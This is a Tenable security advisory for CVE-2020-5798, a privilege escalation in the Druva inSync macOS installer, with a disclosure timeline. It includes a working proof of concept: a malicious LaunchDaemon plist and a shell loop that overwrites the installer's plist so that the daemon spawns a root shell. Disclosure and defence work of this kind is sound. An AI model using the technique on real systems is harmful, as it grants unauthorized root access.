

Druva inSync Installer Privilege Escalation

High

[← View More Research Advisories](#)

Synopsis

Druva inSync Privilege Escalation via Installer

In the installation package for macOS provided by Druva (install inSync.pkg), the "postinstall" script included in the installer allows for privilege escalation from a normal user to root due to improper checking of the integrity of the LaunchDaemon scripts.

The plists used for these daemons are generated in a user-writable directory rather than an installer sandbox or some other privileged directory, which allows a lower-privileged user to overwrite these files during the installation process. These files later launch the daemons with root privileges.

Snippet from postinstall script:

```
# Prepare inSyncDecommission daemon for launch
DAEMONS_DIR=/Library/LaunchDaemons
cp "${APP}/Contents/Resources/inSyncDecommission.plist" "${DAEMONS_DIR}/DECOM_DAEMON=${APP}/Contents/MacOS/inSyncDecommission"
DAEMON_PLIST=${DAEMONS_DIR}/inSyncDecommission.plist# Prepare inSyncUpgradeDaemon daemon for launch
cp "${APP}/Contents/Resources/inSyncUpgradeDaemon.plist" "${DAEMONS_DIR}/UPGRADE_DAEMON=${APP}/Contents/MacOS/inSyncUpgradeDaemon"
UPGRADE_PLIST=${DAEMONS_DIR}/inSyncUpgradeDaemon.plist
```

As a simple proof of concept, creating the following plist, running the shell commands, and then running the installer will cause the launch daemon to spawn a root shell instead of the desired inSync service.

It should be noted that the LaunchAgents later in the script are also affected by this issue, but with a less severe impact as they only provide a persistence mechanism rather than elevated privileges.

Sample malicious plist:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>KeepAlive</key>
  <true/>
  <key>Label</key>
  <string>com.druva.inSyncDecom</string>
  <key>ProgramArguments</key>
  <array>
    <string>/Applications/iTerm.app/Contents/MacOS/iTerm2</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>
```

Sample shell commands:

```
while true; do
  mkdir -p /Applications/Druva\ inSync.app/Contents/Resources;
  yes | cp -f /tmp/inSync.plist /Applications/Druva\ inSync.app/Contents/Resources/inSyncDecommission.plist
done
```

Additional References

https://docs.druva.com/001_inSync_Cloud/Cloud/010_Release_Details/010_inSync_Cloud_Updates

Disclosure Timeline

September 9, 2020 - Vulnerabilities Discovered
 September 9, 2020 - Tenable discloses to vendor.
 September 10, 2020 - Druva acknowledges.
 October 7, 2020 - Tenable requests status update.
 October 13, 2020 - Druva requests clarification.
 October 13, 2020 - Tenable provides clarification.
 November 13, 2020 - Tenable requests status update.
 November 13, 2020 - Druva provides status update.
 November 17, 2020 - Druva requests secure contact to send update link to.
 November 17, 2020 - Tenable provides contact information.
 November 17, 2020 - Druva sends update preview.
 November 18, 2020 - Tenable confirms existing PoC no longer works.



Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our [Vulnerability Reporting Guidelines](#) page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: [CVE-2020-5798](#)

Tenable Advisory ID: TRA-2020-67

Credit: Jimi Sebree

CVSSv3 Base / Temporal Score: 9.3 / 8.6

CVSSv3 Vector: AV:L/AC:L/PR:N/UI:R/S:C/H/I:H/A:H

Affected Products: Druva inSync Client Installers for v6.8.0 and prior

Risk Factor: High

Advisory Timeline

December 4, 2020 - Initial release.

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals



[Contact Us](#)

[Careers](#)

[Investors](#)

[Events](#)

[Media](#)



[Privacy Policy](#) [Legal](#) [508 Compliance](#)

© 2022 Tenable®, Inc. All Rights Reserved

